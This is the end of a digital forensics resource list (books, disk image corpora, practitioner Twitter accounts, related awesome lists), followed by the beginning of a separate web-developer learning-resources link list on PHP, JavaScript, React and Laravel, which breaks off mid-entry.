Mac Memory - [The Practice of Network Security Monitoring](https://nostarch.com/nsm) - Understanding Incident Detection and Response - [Cell Phone Investigations: Search Warrants, Cell Sites and Evidence Recovery](https://cryptome.org/2015/11/Cell-Phone-Investigations.pdf) - Cell Phone Investigations is the most comprehensive book written on cell phones, cell sites, and cell related data. ### File System Corpora - [Digital Forensic Challenge Images](https://www.ashemery.com/dfir.html) - Two DFIR challenges with images - [Digital Forensics Tool Testing Images](http://dftt.sourceforge.net) - [FAU Open Research Challenge Digital Forensics](https://openresearchchallenge.org/digitalForensics/appliedforensiccomputinggroup) - [The CFReDS Project](https://www.cfreds.nist.gov) - [Hacking Case (4.5 GB NTFS Image)](https://www.cfreds.nist.gov/Hacking_Case.html) ### Twitter - [@4n6ist](https://twitter.com/4n6ist) - [@aheadless](https://twitter.com/aheadless) - [@AppleExaminer](https://twitter.com/AppleExaminer) - Apple OS X & iOS Digital Forensics - [@blackbagtech](https://twitter.com/blackbagtech) - [@carrier4n6](https://twitter.com/carrier4n6) - Brian Carrier, author of Autopsy and the Sleuth Kit - [@CindyMurph](https://twitter.com/CindyMurph) - Detective & Digital Forensic Examiner - [@EricRZimmerman](https://twitter.com/EricRZimmerman) - Certified SANS Instructor - [@forensikblog](https://twitter.com/forensikblog) - Computer forensic geek - [@HECFBlog](https://twitter.com/HECFBlog) - SANS Certified Instructor - [@Hexacorn](https://twitter.com/Hexacorn) - DFIR+Malware - [@hiddenillusion](https://twitter.com/hiddenillusion) - [@iamevltwin](https://twitter.com/iamevltwin) - Mac Nerd, Forensic Analyst, Author & Instructor of SANS FOR518 - [@jaredcatkinson](https://twitter.com/jaredcatkinson) - PowerShell Forensics - [@maridegrazia](https://twitter.com/maridegrazia) - Computer Forensics Examiner - [@sleuthkit](https://twitter.com/sleuthkit) - [@williballenthin](https://twitter.com/williballenthin) - [@XWaysGuide](https://twitter.com/XWaysGuide) ### Other - [/r/computerforensics/](https://www.reddit.com/r/computerforensics/) - Subreddit for computer forensics - [ForensicControl](https://www.forensiccontrol.com/free-software) - - [ForensicPosters](https://github.com/Invoke-IR/ForensicPosters) - Posters of file system structures - [HFS+ Resources](https://github.com/mac4n6/HFSPlus_Resources) - [mac4n6 Presentations](https://github.com/mac4n6/Presentations) - Presentation Archives for OS X and iOS Related Research - [SANS Forensics CheatSheets](https://digital-forensics.sans.org/community/cheat-sheets) - Different CheatSheets from SANS - [SANS Digital Forensics Posters](https://digital-forensics.sans.org/community/posters) - Digital Forensics Posters from SANS - [SANS WhitePapers](https://digital-forensics.sans.org/community/whitepapers) - White Papers written by forensic practitioners seeking GCFA, GCFE, and GREM Gold ## Related Awesome Lists - [Android Security](https://github.com/ashishb/android-security-awesome) - [AppSec](https://github.com/paragonie/awesome-appsec) - [Awesome Forensics](https://github.com/cugu/awesome-forensics) - [CTFs](https://github.com/apsdehal/awesome-ctf) - [Hacking](https://github.com/carpedm20/awesome-hacking) - [Honeypots](https://github.com/paralax/awesome-honeypots) - [Incident-Response](https://github.com/meirwah/awesome-incident-response) - [Infosec](https://github.com/onlurking/awesome-infosec) - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - [Pentesting](https://github.com/enaqx/awesome-pentest) - [Security](https://github.com/sbilly/awesome-security) - [Social Engineering](https://github.com/v2-dev/awesome-social-engineering) - [YARA](https://github.com/InQuest/awesome-yara)

 # Awesome Learning Resources I Like ## Table of Contents - [GraphQL](#graphql) - [PHP](#php) - [PHP Packages for Everyone](#php-packages-for-everyone) - [Python](#python) - [JavaScript](#javascript) - [TypeScript](#typescript) - [RxJS](#rxjs) - [Vue](#vue) - [Laravel](#laravel) - [Machine Learning](#machine-learning) - [Ionic](#ionic) - [Firebase](#firebase) - [Successful Developer Strategies](#successful-developer-strategies) - [Database](#database) - [Scrum](#scrum-development-workflow) - [Git](#git) - [DevOps](#devops) - [Commandline](#commandline) - [Open Source](#open-source) - [Regex](#regex) - [Design Patterns](#design-patterns) - [Better Programming, Better development teams, Better Product](#better-programming-better-development-teams-better-product) - [Nice & Terrific Hacks](#nice-terrific-hacks) - [Community Building](#community-building) - [Interview Preparation for Developers](#interview-preparation-for-developers) - [Security](#security) - [Scaling](#scaling) - [Progressive Web Apps](#progressive-web-apps) - [Frontend Development](#frontend-development) - [Chrome Dev Tools](#chrome-dev-tools) - [Stories from the Trenches](#stories-from-the-trenches) - [Conference Talks](#conference-talks) - [Remote Work](#remote-work) ## GraphQL * [So what is this GraphQL thing?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf) * [Give it a REST: use GraphQL for your APIs](https://medium.freecodecamp.com/give-it-a-rest-use-graphql-for-your-apis-40a2761e6336) * [How to GraphQL: The Fullstack Tutorial for GraphQL](https://www.howtographql.com) * [REST APIs are REST-in-Peace APIs. Long Live GraphQL.](https://medium.freecodecamp.org/rest-apis-are-rest-in-peace-apis-long-live-graphql-d412e559d8e4) ## PHP * [Cloudways PHP Tutorials](https://www.cloudways.com/blog/php/) * [PHP The Right Way](http://www.phptherightway.com) * [PHP Dependency Injection](http://php-di.org) * [phpenthusiast.com](http://phpenthusiast.com) * [php-books.com](http://php-books.com/) * [goodheads.io](http://goodheads.io) * [phpdeveloper.org](https://phpdeveloper.org) * [killerphp.com](http://www.killerphp.com) ## PYTHON * [Full Stack Python](https://www.fullstackpython.com/best-python-resources.html) * [Python for web developers](http://www.mattmakai.com/learning-python-for-non-developers.html) * [Python Podcasts](https://dbader.org/blog/ultimate-list-of-python-podcasts) * [Full Stack Python (video)](http://pyvideo.org/pycon-us-2014/so-you-want-to-be-a-full-stack-developer-how-to.html) * [Learn Python - Free Interactive Python Tutorial](https://learnpython.org) * [Learn Python the Hard Way](https://learnpythonthehardway.org/book) * [Codecademy Learn Python](https://www.codecademy.com/learn/python) * [The Hitchhiker’s Guide to Python](https://docs.python-guide.org/) ### PHP Packages For Everyone * [Crawler Detector - PHP Library that detects over 390 bots/crawlers/spiders](https://github.com/JayBizzle/Crawler-Detect) * [PHP Library to add colors in your CLI Scripts](https://github.com/kevinlebrun/colors.php) * [PHP Library for parsing, formatting, storing and validating international phone numbers.](https://github.com/giggsey/libphonenumber-for-php) * [PHP Package for dealing with queues and background job processing](https://github.com/bernardphp/bernard) * [Better Markdown Parser in PHP](https://github.com/erusev/parsedown) * [Laravel 5 helper function for Non-Laravel Applications](https://github.com/rappasoft/laravel-helpers) * [PHP Database Migrations for Everyone](https://github.com/robmorgan/phinx) * [PHP Library for the Vimeo API](https://github.com/vimeo/vimeo.php) * [PHP Library for reading and writing spreadsheet files](https://github.com/PHPOffice/PHPExcel) * [Laravel Blade for Non-Laravel Projects](https://github.com/jenssegers/blade) * [Flexible Access Control List Package For Authorization, Roles and Permissions (PHP 5.4+)](https://github.com/BeatSwitch/lock) * [Small PHP Library to generate YouTube-like hashids from one or many numbers. Very good for Obfuscating User IDS](https://github.com/ivanakimov/hashids.php) * [PHP Package for working with the Twitter Streaming API](https://github.com/spatie/twitter-streaming-api) ### Specific Resource * [Design Patterns in PHP - Practical Examples](https://github.com/domnikl/DesignPatternsPHP) * [Awesome PHP - Several Mind Blowing PHP Resources](https://github.com/ziadoz/awesome-php) * [What to Expect in PHP 7 - Part 1](https://blog.engineyard.com/2015/what-to-expect-php-7) * [What to Expect in PHP 7 - Part 2](https://blog.engineyard.com/2015/what-to-expect-php-7-2) * [Guide to Using PHP 7](http://daylerees.com/php-pandas-php7) * [What is Dependency Injection? PHP Example](http://fabien.potencier.org/what-is-dependency-injection.html) * [The 12 Factor PHP app](http://slashnode.com/the-12-factor-php-app-part-1) * [PHP Design Patterns](http://www.fluffycat.com/PHP-Design-Patterns) * [PHP Package Checklist for Building Awesome and Modern PHP Packages](http://phppackagechecklist.com/#1,2,3,4,5,6,7,8,9,10,11,12,13,14) * [Great, Gentle and Subtle Introduction to PHP](http://daylerees.com/php-pandas) * [Dependency Injection Example using PHP](https://github.com/daylerees/dependency-injection-example) * [Test Driven Development Example using PHP](https://github.com/daylerees/test-driven-development-example) * [Nodejs-Free PHP Front end Asset Management](http://www.sitepoint.com/look-ma-no-nodejs-a-php-front-end-workflow-without-node) * [PHP CheatSheet](http://www.blueshoes.org/en/developer/php_cheat_sheet ) * [Best Practices for Modern PHP Development](https://www.airpair.com/php/posts/best-practices-for-modern-php-development) * [How to Create a PSR-4 PHP Package](http://culttt.com/2014/05/07/create-psr-4-php-package/) * [Formatting Exception Messages](http://rosstuck.com/formatting-exception-messages/) * [Scaling Wordpress with HHVM on heroku](https://substrakt.com/scaling-wordpress-with-hhvm-on-heroku/) * [A magic memoization function](https://murze.be/2016/11/magic-memoization-function/) * [Building PHP Projects on AWS Codebuild](https://benramsey.com/blog/2016/12/aws-codebuild-php) * [Streamed File Zipping and Downloading in PHP](https://medium.com/weebly-engineering/streamed-file-zipping-and-downloading-in-php-1fb59b0a5b79#.12cjrniaz) * [Re-introducing Vagrant: The right way to start PHP](https://www.sitepoint.com/re-introducing-vagrant-right-way-start-php/) ## JavaScript * [watchmecode.net](https://sub.watchmecode.net/) * [Essential Javascript Links](https://github.com/ericelliott/essential-javascript-links) * [ECMAScript® Language Specification - 5.1](http://www.ecma-international.org/ecma-262/5.1/) * [ECMAScript 6 Language Specification (ES2015)](http://www.ecma-international.org/ecma-262/6.0/) * [ECMAScript 7 Language Specification (ES2016)](http://www.ecma-international.org/ecma-262/7.0/) * [You Don't Know JavaScript](https://github.com/getify/You-Dont-Know-JS) * [Single Piece Of Javascript on Hacker News](http://blog.watchandcode.com/2016/03/17/the-single-piece-of-javascript-on-hacker-news/?utm_content=buffer89633&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) * [Simplified JS Jargon](http://jargon.js.org/) * [Prototypal Inheritance Explained](https://medium.com/@kevincennis/prototypal-inheritance-781bccc97edb#.4c6jk1wm3) * [How to develop a package for Github's Atom Code Editor](https://www.sitepoint.com/how-to-write-a-syntax-highlighting-package-for-atom/) * [10 Things I learned from the JQuery Source](https://www.youtube.com/watch?v=i_qE1iAmjFg) * [Universal JavaScript](https://medium.com/@mjackson/universal-javascript-4761051b7ae9#.m7pm3ma24) * [A Study Plan To Cure JavaScript](https://medium.freecodecamp.com/a-study-plan-to-cure-javascript-fatigue-8ad3a54f2eb1#.so3c4gmq4) * [Modular JavaScript - Practical ES6](https://github.com/mjavascript/practical-es6) * [Webpack - The Confusing Parts](https://medium.com/@rajaraodv/webpack-the-confusing-parts-58712f8fcad9#.hi0vtrl30) * [Building and Authenticating a NodeJS app](https://auth0.com/blog/building-and-authenticating-nodejs-apps/) * [Top JavaScript frameworks to learn in 2017](https://medium.com/javascript-scene/top-javascript-frameworks-topics-to-learn-in-2017-700a397b711#.t16ln0o9w) * [How I converted my React App to VanillasJS and whether or not it was a terrible idea](https://hackernoon.com/how-i-converted-my-react-app-to-vanillajs-and-whether-or-not-it-was-a-terrible-idea-4b14b1b2faff#.7gb0eskuw) * [How to build your own Uber for X app - Part 1](https://medium.freecodecamp.com/how-to-build-your-own-uber-for-x-app-33237955e253#.mr5gbpne0) * [How to build your own Uber for X app - Part 2](https://medium.freecodecamp.com/how-to-build-your-own-uber-for-x-app-part-2-8ba6ffa2573d#.z3q534o3s) * [Next on NextJS](https://jsmantra.com/next-on-next-js-1a134505f346#.sf2f64u4r) * [JavaScript Startup Performance by Addy Osmani](https://medium.com/@addyosmani/javascript-start-up-performance-69200f43b201#.jab5m5557) * [A glossary of modern JavaScript concepts - Part 1](https://auth0.com/blog/glossary-of-modern-javascript-concepts/) * [Webpack is not the only way - Introducing Fusebox](https://medium.com/fusebox/webpack-is-not-the-only-way-6ddb67e99be9#.o1x67tavo) * [JavaScript's journey through 2016](http://developer.telerik.com/topics/web-development/javascripts-journey-2016/) * [A detailed introduction to Webpack](https://www.smashingmagazine.com/2017/02/a-detailed-introduction-to-webpack/) * [Three Ways of Understanding Promises](http://www.2ality.com/2016/10/understanding-promises.html) * [ES6 Features: 10 Use cases for proxy](http://dealwithjs.io/es6-features-10-use-cases-for-proxy/) * [Build Live comments feature using JavaScript](https://blog.pusher.com/build-live-comments-feature-using-javascript/) * [JavaScript Modules: A beginner's guide](https://medium.freecodecamp.com/javascript-modules-a-beginner-s-guide-783f7d7a5fcc#.9wzhl3ii8) * [How to manage JavaScript fatigue](https://auth0.com/blog/how-to-manage-javascript-fatigue/#) * [The habits of effective JavaScript developers](http://thefullstack.xyz/effective-javascript-developers/) * [An Overview of JavaScript testing in 2017](https://medium.com/powtoon-engineering/a-complete-guide-to-testing-javascript-in-2017-a217b4cd5a2a?imm_mid=0f12fb&cmp=em-web-na-na-newsltr_20170426) * [JavaScript: Arrow Functions for Beginners](https://hackernoon.com/javascript-arrow-functions-for-beginners-926947fc0cdc) * [Understanding Nodejs Event driven Architecture](https://medium.freecodecamp.com/understanding-node-js-event-driven-architecture-223292fcbc2d) * [Bring Laravel Collections to JavaScript with Collect.js](https://laravel-news.com/javascript-collections) * [JavaScript 30](https://javascript30.com/) * [Rebuilding Slack’s Emoji Picker in React](https://slack.engineering/rebuilding-slacks-emoji-picker-in-react-bfbd8ce6fbfe) * [Keep webpack Fast: A Field Guide for Better Build Performance](https://slack.engineering/keep-webpack-fast-a-field-guide-for-better-build-performance-f56a5995e8f1) * [How we improved webpack build performance by 95%](https://blog.box.com/blog/how-we-improved-webpack-build-performance-95/) * [ES6 and Beyond Workshop Part 1 at PayPal (Jan 2017)](https://www.youtube.com/watch?v=t3R3R7UyN2Y&t=4844s&list=PLV5CVI1eNcJgNqzNwcs4UKrlJdhfDjshf&index=16) * [ES6 and Beyond Workshop Part 2 at PayPal (March2017)](https://www.youtube.com/watch?v=eOKQDh50ECU&t=16s&list=PLV5CVI1eNcJgNqzNwcs4UKrlJdhfDjshf&index=13) * [Motion Graphics about programming](http://reactive.how/) * [Learn about promises before you start using async/await](https://medium.com/@bluepnume/learn-about-promises-before-you-start-using-async-await-eb148164a9c8) * [6 reasons why JavaScript's async await blows promises away](https://hackernoon.com/6-reasons-why-javascripts-async-await-blows-promises-away-tutorial-c7ec10518dd9) ## TypeScript * [Getting started with TypeScript](https://www.codingforentrepreneurs.com/projects/getting-started-typescript/) * [Learn TypeScript in 30 Minutes](https://tutorialzine.com/2016/07/learn-typescript-in-30-minutes) * [Thinkster.io](https://thinkster.io/tutorials/getting-started-with-typescript) ### RxJS * [https://xgrommx.github.io](https://xgrommx.github.io/rx-book/index.html) ### Vue * [egghead.io](https://egghead.io/browse/frameworks/vue) * [Introduction to Vue](https://frontendmasters.com/courses/vue/) * [Getting Started With TDD and Vue.js](https://vuejsdevelopers.com/2017/12/25/vue-js-test-driven-development-tdd/) * [Vuejs 2 Authentication Tutorial](https://auth0.com/blog/vuejs2-authentication-tutorial/) * [Authenticating a Vue JS Application With Firebase UI](https://medium.com/dailyjs/authenticating-a-vue-js-application-with-firebase-ui-8870a3a5cff8) * [Simple Modal Notifications in Vue.js with Vue-SweetAlert2](https://alligator.io/vuejs/vue-sweetalert2/) * [Offline First Masonry Grid Showcase with Vue](https://vuejsdevelopers.com/2017/10/09/vue-js-masonary-grid/?ref=madewithvuejs.com) * [Testing Vue](https://madewithvuejs.com/go/testingvue-com) ### AngularJS * [egghead.io](https://egghead.io/technologies/angularjs) * [A guide to transclusion in AngularJS](http://teropa.info/blog/2015/06/09/transclusion.html) * [Build Your Own Simplified AngularJS in 200 lines of Code](http://blog.mgechev.com/2015/03/09/build-learn-your-own-light-lightweight-angularjs/) * [Build a real time scheduling app using angularjs and firebase](https://scotch.io/tutorials/build-a-real-time-scheduling-app-using-angularjs-and-firebase) * [Properly set environment variables for Angular apps with Gulp ng config](https://scotch.io/tutorials/properly-set-environment-variables-for-angular-apps-with-gulp-ng-config) * [Migrating an Angular 1 app to Angular 2 - Part 1](https://auth0.com/blog/migrating-an-angular-1-app-to-angular-2-part-1/) * [Migrating an Angular 1 app to Angular 2 - Part 2](https://auth0.com/blog/migrating-an-angular-1-app-to-angular-2-part-2/) * [Migrating an Angular 1 app to Angular 2 - Part 3](https://auth0.com/blog/migrating-an-angular-1-app-to-angular-2-part-3/) * [From Angular.module to NgModule](http://developer.telerik.com/topics/web-development/angular-module-ngmodule/) * [Testing Routes in Angular 2](https://semaphoreci.com/community/tutorials/testing-routes-in-angular-2) #### AngularJS Directives I have Found Useful for Quick Saas Apps * [Autocomplete and Mention Directive - mentio](http://jeff-collins.github.io/ment.io/#/) ### Angular 2 * [Angular Expo - Showcase of Angular 2 webapps](http://angularexpo.com/) * [Creating you first real world angular 2 app from authentication to..](https://auth0.com/blog/creating-your-first-real-world-angular-2-app-from-authentication-to-calling-an-api-and-everything-in-between/) * [Learn the ins and outs of form validation with Angular 2](https://scotch.io/tutorials/angular-2-form-validation) * [Use @NgModule to Manage Dependencies in your Angular 2 Apps](https://auth0.com/blog/angular-2-ngmodules/) * [Understanding Angular 2 Change Detection](https://auth0.com/blog/understanding-angular-2-change-detection/) * [30 Learning resources for mastering Angular 2](http://tutorialzine.com/2016/09/30-learning-resources-for-mastering-angular-2/) * [Angular Universal for the rest of us](https://medium.com/google-developer-experts/angular-universal-for-the-rest-of-us-922ca8bac84#.21b2t7v99) * [Getting Started With Angular 2](https://school.scotch.io/getting-started-with-angular-2) * [Setting up an Angular 2 development environment](https://ponyfoo.com/articles/setting-up-angular-2-development-environment) * [Setting up your first Angular (2) Project Using Angular Material (2)](https://medium.com/@ladyleet/setting-up-your-first-angular-2-project-using-angular-material2-5db18a174165#.52sh28t9o) * [Using Angular Material 2 components in your angular 2 project - Intro: Custom styles buttons](https://medium.com/@ladyleet/using-angular-material2-components-in-your-angular-2-project-intro-custom-styles-buttons-d2178e4b45c5#.2gbgd2yft) * [Making Your Anuglar App fast](https://blog.thoughtram.io/angular/2017/02/02/making-your-angular-app-fast.html) * [Building Real World, Production Quality Apps With Angular 2](https://thinkster.io/tutorials/building-real-world-angular-2-apps) * [Planning an Angular application](http://developer.telerik.com/topics/web-development/planning-an-angular-application/) * [Rangle's Angular 2 Training Book](https://www.gitbook.com/book/rangle-io/ngcourse2/details) * [Learn Angular 2 Development with our Free Course](https://coursetro.com/courses/8/Learn-Angular-2-Development-with-our-Free-Course) ### ReactJS * [reactforbeginners.com](https://reactforbeginners.com) * [react.express](http://www.react.express/) * [learnredux.com](http://learnredux.com/) ### Specific Resources for ReactJS * [ReactJS Introduction for people who know just enough JQuery to get by](http://reactfordesigners.com/labs/reactjs-introduction-for-people-who-know-just-enough-jquery-to-get-by/) * [Creating a simple shopping cart with ReactJS and Flux](https://scotch.io/tutorials/creating-a-simple-shopping-cart-with-react-js-and-flux) * [Build a real time twitter stream with node and reactjs](https://scotch.io/tutorials/build-a-real-time-twitter-stream-with-node-and-react-js) * [Bootstrapping a React Project](https://auth0.com/blog/bootstrapping-a-react-project/) * [ReactJs Components: Learning the basics](https://scotch.io/tutorials/reactjs-components-learning-the-basics) * [ReactJS for Stupid People](blog.andrewray.me/reactjs-for-stupid-people/) * [React Daily UI - Sign Up Form](https://www.fullstackreact.com/react-daily-ui/001-sign-up-form/) * [React Daily UI - Checkout ](https://www.fullstackreact.com/react-daily-ui/002-checkout/) * [React Daily UI - Landing Page](https://www.fullstackreact.com/react-daily-ui/003-landing-page/) * [A practical guide to Redux](http://lorenstewart.me/2016/11/27/a-practical-guide-to-redux/) * [9 things every ReactJS beginner should know](https://camjackson.net/post/9-things-every-reactjs-beginner-should-know) * [React’s Five Fingers of Death. Master these five concepts, then master React.](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3#.xfbpsi6hf) * [Our best practices for writing React components](https://medium.com/code-life/our-best-practices-for-writing-react-components-dec3eb5c3fc8?imm_mid=0ed2ce&cmp=em-web-na-na-newsltr_20170208#.kbzwqq2ka) * [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture) * [The Complete Introduction to React - Version 1](https://btholt.github.io/complete-intro-to-react-v1/) * [The Complete Introduction to React - Version 2](https://btholt.github.io/complete-intro-to-react/all.html) * [ReactJS Authentication Tutorial](https://auth0.com/blog/reactjs-authentication-tutorial) * [How to build a lightweight Clone of Yelp](https://www.fullstackreact.com/articles/react-tutorial-cloning-yelp/) * [How does React decide to re-render a component?](http://lucybain.com/blog/2017/react-js-when-to-rerender/) * [Functional SetState is the future of React](https://medium.freecodecamp.com/functional-setstate-is-the-future-of-react-374f30401b6b#.ezv0onhhn) * [How to use Redux on highly scalable JavaScript Applications](https://medium.com/@alexmngn/how-to-use-redux-on-highly-scalable-javascript-applications-4e4b8cb5ef38#.s2y7315jw) * [How to better organize your React applications](https://medium.com/@alexmngn/how-to-better-organize-your-react-applications-2fd3ea1920f1#.q0xovz4ue) * [Passing data between react components](https://medium.com/@ruthmpardee/passing-data-between-react-components-103ad82ebd17#.c5g694n2g) * [Surprising Polymorphism in React applications](https://medium.com/@bmeurer/surprising-polymorphism-in-react-applications-63015b50abc#.d7yd4275c) * [Internationalization in React](https://medium.freecodecamp.com/internationalization-in-react-7264738274a0#.drrx0ofws) * [React is Slow, React is Fast: Optimizing React Apps in Practice](https://medium.com/dailyjs/react-is-slow-react-is-fast-optimizing-react-apps-in-practice-394176a11fba#.lhfmqjxuo) * [Navigating React's setState()](https://medium.com/javascript-scene/setstate-gate-abc10a9b2d82) * [The Benefits of Server side rendering over client side rendering](https://medium.com/walmartlabs/the-benefits-of-server-side-rendering-over-client-side-rendering-5d07ff2cefe8) * [How to build yourself a Redux](https://zapier.com/engineering/how-to-build-redux) * [A Cartoon Introduction to Redux](https://code-cartoons.com/a-cartoon-intro-to-redux-3afb775501a6) ### React Native * [reactnative.training](http://reactnative.training/) ### Specific Resources for React Native * [React Native Training - Fundamentals Keynote Slides](https://github.com/react-native-training/fundamentals-slides) * [The essential boilerplate to authenticate users on your react native app](https://medium.com/@alexmngn/the-essential-boilerplate-to-authenticate-users-on-your-react-native-app-f7a8e0e04a42#.7gfgzbzif) * [React Native App Stack - March 2017](https://medium.com/react-native-development/react-native-app-stack-march-2017-f7605e02d46f?imm_mid=0eeb35&cmp=em-web-na-na-newsltr_20170315#.oqzvlr3cx) * [I made React Native fast, you can too!](https://launchdrawer.com/i-made-react-native-fast-you-can-too-9e61c951ce0?imm_mid=0eeb35#.pnmyc991u) * [Build a Lunch Spot Recommendation app](https://school.shoutem.com/lectures/geolocation-app-react-native/) ### JQuery * [datatables.net](http://datatables.net/) ## Laravel * [Cloudways Laravel Tutorials](https://www.cloudways.com/blog/laravel/) * [dunebook.com](http://dunebook.com/category/useful-resources-for-laravel/) * [laraveldaily.com](http://laraveldaily.com) * [learninglaravel.net](http://learninglaravel.net) * [laravelcoding.com](http://laravelcoding.com/blog) * [culttt.com](http://culttt.com/) * [laravelbestpractices.com](http://www.laravelbestpractices.com/) * [laravel-recipes.com](http://laravel-recipes.com) * [codecourse.com](https://www.codecourse.com/) * [laracasts.com](https://laracasts.com) * [goodheads.io](http://goodheads.io) * [rebuildinglaravel.com](http://rebuildinglaravel.com/) * [devdojo.com](https://devdojo.com/) * [laracademy.co](https://laracademy.co/) * [eloquentbyexample.com](http://eloquentbyexample.com) * [customlaravel.com](https://customlaravel.com/) * [multitenantlaravel.com](https://multitenantlaravel.com/) * [Justlaravel](http://justlaravel.com/) ### Tools I have Found Useful For Quick Saas Apps ( RAD ) * [Sending Template Emails through Mandrill in Laravel](http://culttt.com/2015/10/12/sending-template-emails-through-mandrill-in-laravel/) * [JWT Auth for Laravel and Lumen - Makes Auth for Microservices and API a breeeze](https://github.com/generationtux/jwt-artisan) * [Laravel Crawler Detect - Laravel 5 Wrapper for the Crawler Detect PHP Library](https://github.com/JayBizzle/Laravel-Crawler-Detect) * [Teamwork](https://github.com/mpociot/teamwork) * [Laravel Tagging](https://github.com/rtconner/laravel-tagging) * [Laravel Commentable 1](https://github.com/RomainLanz/laravel-commentable) * [Laravel Commentable 2](https://github.com/DraperStudio/Laravel-Commentable) * [Laravel Likeable](https://github.com/DraperStudio/Laravel-Likeable) * [Laravel Messageable](https://github.com/DraperStudio/Laravel-Messageable) * [Laravel Friendable](https://github.com/DraperStudio/Laravel-Friendable) * [Laravel Voteable](https://github.com/DraperStudio/Laravel-Voteable) * [Laravel Friendships](https://github.com/hootlex/laravel-friendships) * [Laravel Moderation](https://github.com/hootlex/laravel-moderation) * [Laravel ecommerce](https://github.com/aimeos/aimeos-laravel) * [Entrust - A succinct and flexible way to add Role-based Permissions to Laravel 5.](https://github.com/Zizaco/entrust) * [Laravel Phone - Phone number validation Package for Laravel 4 and 5](https://github.com/Propaganistas/Laravel-Phone) * [Elasticquent - Makes working with ElasticSearch and Eloquent Models easy](https://github.com/elasticquent/Elasticquent) * [ElasticCat - Map Elastic Search Results to Eloquent Models](https://github.com/argb/elastic-cat) * [Laravel Smart Search](https://github.com/msurguy/laravel-smart-search) * [Laravel Doctrine - Drop Doctrine Support into your Laravel Apps](http://www.laraveldoctrine.org/) * [Importing and Exporting Excel and CSV files for Laravel](https://github.com/Maatwebsite/Laravel-Excel) * [Laravel 5 package that makes using popular video service - Vimeo painless](https://github.com/vinkla/vimeo) * [Laravel 5 package that makes OAuth authentication against several providers dead simple](https://github.com/adamwathan/eloquent-oauth-l5) * [Laravel Socialite](https://github.com/laravel/socialite) * [Beautymail - Send Beautiful mails in Laravel 5](https://github.com/Snowfire/Beautymail) * [Unique Obsfucated IDs for your Laravel Applications](https://github.com/vinkla/hashids) * [A collection of providers for Laravel Socialite](http://socialiteproviders.github.io/) * [Cache your Entire Response to Speed Up your Laravel App](https://github.com/spatie/laravel-responsecache) * [Introducing Laravel Password v1.0](http://goodheads.io/2016/07/03/introducing-laravel-password-v1-0/) * [Multi-library Chart Package to create interactive charts using Laravel](https://github.com/ConsoleTVs/Charts) * [A Sequel Pro bundle to generate Laravel migration files from existing tables.](https://github.com/cviebrock/sequel-pro-laravel-export) * [Laravel Followers](https://github.com/skybluesofa/laravel-followers) * [Laravel Queue Clear](https://github.com/morrislaptop/laravel-queue-clear) * [PostrgeSQL Full Text Search Engine for Laravel Scout](https://github.com/pmatseykanets/laravel-scout-postgres) * [Laravel Referer](https://github.com/spatie/laravel-referer) * [Laravel Impersonate](https://github.com/404labfr/laravel-impersonate) * [LaraCSV - A Laravel package to easily generate CSV files from Eloquent model](https://github.com/usmanhalalit/laracsv) * [Limit access to your Laravel applications by using invite codes ](https://github.com/clarkeash/doorman) ### Specific Resource * [Get going with Laravel on Docker](http://pathfinder.space/get-going-with-laravel-on-docker/) * [Developing Laravel applications with Docker](https://medium.com/@mrfoh/developing-laravel-applications-with-docker-7324c0a0789a#.sqhx2ilx5) * [Adding custom profile fields to Laravel Spark](https://spark.laravel.com/docs/1.0/adding-profile-fields?utm_campaign=Laravel%20News&utm_medium=email&utm_source=ln105) * [Generate Fake Localized Data with Laravel](https://medium.com/laravel-news/fake-localized-data-and-laravel-c4cdbecb2c31#.4x9hmvva9) * [Solving the search problem with laravel and tntsearch](https://medium.com/@tntstudiohr/solving-the-search-problem-with-laravel-and-tntsearch-dfa16aa9173b#.g8ciu3qvt) * [Building Real-time Laravel Apps with Pusher](https://pusher-community.github.io/real-time-laravel/index.html) * [Fix HTTP Error 413 Request Entity too Large Problem](https://mhdzaherghaibeh.name/2016/05/03/fix-http-error-413-request-entity-too-large-problem/) * [Learn about the new ACL features in Laravel](https://laravel-news.com/2015/09/3-resources-to-learn-about-the-new-acl-features-in-laravel/) * [Adding OAuth to a Laravel Application](http://culttt.com/2015/08/17/adding-oauth-to-a-laravel-api/) * [How To Set Up Your Mac Local PHP Development](http://ericlbarnes.com/set-mac-local-php-development/) * [Creating Packages in Laravel](https://murze.be/2015/05/creating-packages/) * [Creating Your First Laravel 5 Package](http://goodheads.io/2015/06/19/creating-your-first-laravel-5-package/) * [Creating a Laravel 5 Package - 5 part Tutorial Series](https://laravel-news.com/2015/09/5-part-tutorial-series-on-creating-a-laravel-5-package/) * [Mac Yosemite Dev Machine Setup](https://gist.github.com/taylorotwell/db67dd369b00022850b4) * [Complete Laravel Socialite Tutorial](http://www.codeanchor.net/blog/complete-laravel-socialite-tutorial/) * [Github Authentication For Login With Laravel Socialite](https://mattstauffer.co/blog/using-github-authentication-for-login-with-laravel-socialite) * [Export Data from Eloquent to CSV](https://mattstauffer.co/blog/export-an-eloquent-collection-to-a-csv-with-league-csv) * [Custom Error Pages For Laravel 4](https://driesvints.com/blog/laravel-4-quick-tip-custom-error-pages) * [Custom Error Pages For Laravel 5](https://mattstauffer.co/blog/laravel-5.0-custom-error-pages) * [How to create custom error page with example](http://itsolutionstuff.com/post/laravel-5-how-to-create-custom-error-page-with-exampleexample.html) * [Get Up and Running With Laravel 5 and Docker](https://github.com/LaraDock/laradock) * [Video Tut - Get Up and Running With Laravel 5 and Docker](https://www.youtube.com/watch?v=3YQsHe6oF80) * [Up and Running with Laravel on Heroku](http://ryankent.ca/getting-started-with-laravel-and-php-on-heroku/) * [Deploying a Laravel application to Heroku](http://www.easylaravelbook.com/blog/2015/01/31/deploying-a-laravel-application-to-heroku/) * [Setting Up a Password Reminder Service in Laravel](http://culttt.com/2015/03/02/setting-up-a-password-reminder-service/) * [Good Introduction to Implementing Twitter Following Model in your Application](http://culttt.com/2013/06/03/creating-the-twitter-following-model-in-laravel-4/) * [Test Driven Laravel From Scratch](http://adamwathan.me/2016/01/11/test-driven-laravel-from-scratch/) * [Creating a Password less login system in Laravel](http://blog.tighten.co/creating-a-password-less-medium-style-email-only-authentication-system-in-laravel?utm_source=twitter&utm_medium=social&utm_campaign=tweetPosts) * [Laravel Large File Uploads 